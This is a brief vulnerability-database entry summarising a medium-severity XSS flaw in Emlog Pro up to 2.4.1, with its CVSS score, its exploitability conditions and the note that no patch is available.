A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.1. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38989

Related CWEs

MITRE ATT&CK

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